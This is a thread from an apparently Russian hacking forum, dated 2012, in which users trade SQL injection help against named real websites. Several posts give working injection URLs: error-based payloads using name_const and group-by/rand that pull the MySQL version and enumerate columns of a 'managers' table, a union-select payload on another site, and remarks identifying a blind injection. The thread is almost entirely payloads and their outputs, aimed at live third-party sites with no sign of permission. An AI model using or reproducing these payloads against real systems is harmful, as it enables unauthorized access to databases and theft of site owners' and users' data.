 |
|
16.08.2012, 02:40
|
|
Новичок
Регистрация: 01.08.2012
Сообщений: 7
С нами:
7252886
Репутация:
0
|
|
Сообщение от Nightfall
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Там по моему фильтр на union select
|
|
|
16.08.2012, 02:53
|
|
Новичок
Регистрация: 14.08.2012
Сообщений: 3
С нами:
7234166
Репутация:
0
|
|
но order by же должен работать?
|
|
|
|
16.08.2012, 03:22
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от Nightfall
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Сообщение от None
http://dynatone.ru/products.php?brand=Flight&group=911'or(select*from (select(name_const(version(),1)),name_const(versio n(),1))a)and(1)='1
'5.1.61'
|
|
|
|
16.08.2012, 05:15
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
Сообщение от OxoTnik
'5.1.61'
Через name_const не выведешь ничего кроме version()
Вот запрос более рабочий с примером работы с таблицами и колонками.
Сообщение от None
http://dynatone.ru/products.php?brand=Flight&group=911'or(1)group/**/by(mid((select(column_name)from(information_schema .columns)where(table_schema='dntMainBase'and(table _name='managers'))limit/**/0,1),rand(0)|0,64))having(sum(0)-1)or'1'='1#
|
|
|
|
16.08.2012, 12:23
|
|
Новичок
Регистрация: 14.08.2012
Сообщений: 3
С нами:
7234166
Репутация:
0
|
|
Всем большое спасибо за помощь
|
|
|
|
16.08.2012, 15:46
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами:
9030789
Репутация:
704
|
|
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля думаю поэтому и не хочет
там 3 версия?
|
|
|
|
16.08.2012, 15:49
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от InDuStRieS
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля поэтому и не хочет
там 3 версия?
Всё отлично работает
Сообщение от None
http://www.rosalcohol.ru/site.php?id=-8295+union+select+1,2,3,version%28%29,5,6,7&table= bmV3c19nbGF2
|
|
|
|
16.08.2012, 15:50
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами:
9030789
Репутация:
704
|
|
Сообщение от OxoTnik
Всё отлично работает
4.0.27-log
блин точно,забыл минусик поставить...ппц я протупил
спасибо
|
|
|
|
16.08.2012, 16:22
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами:
9030789
Репутация:
704
|
|
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит
|
|
|
|
16.08.2012, 16:32
|
|
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
С нами:
7676246
Репутация:
94
|
|
Сообщение от InDuStRieS
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит
Потому-что это слепая скуля
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 14 (пользователей: 0 , гостей: 14)
|
|
|
|
Похожие темы
Линейный вид
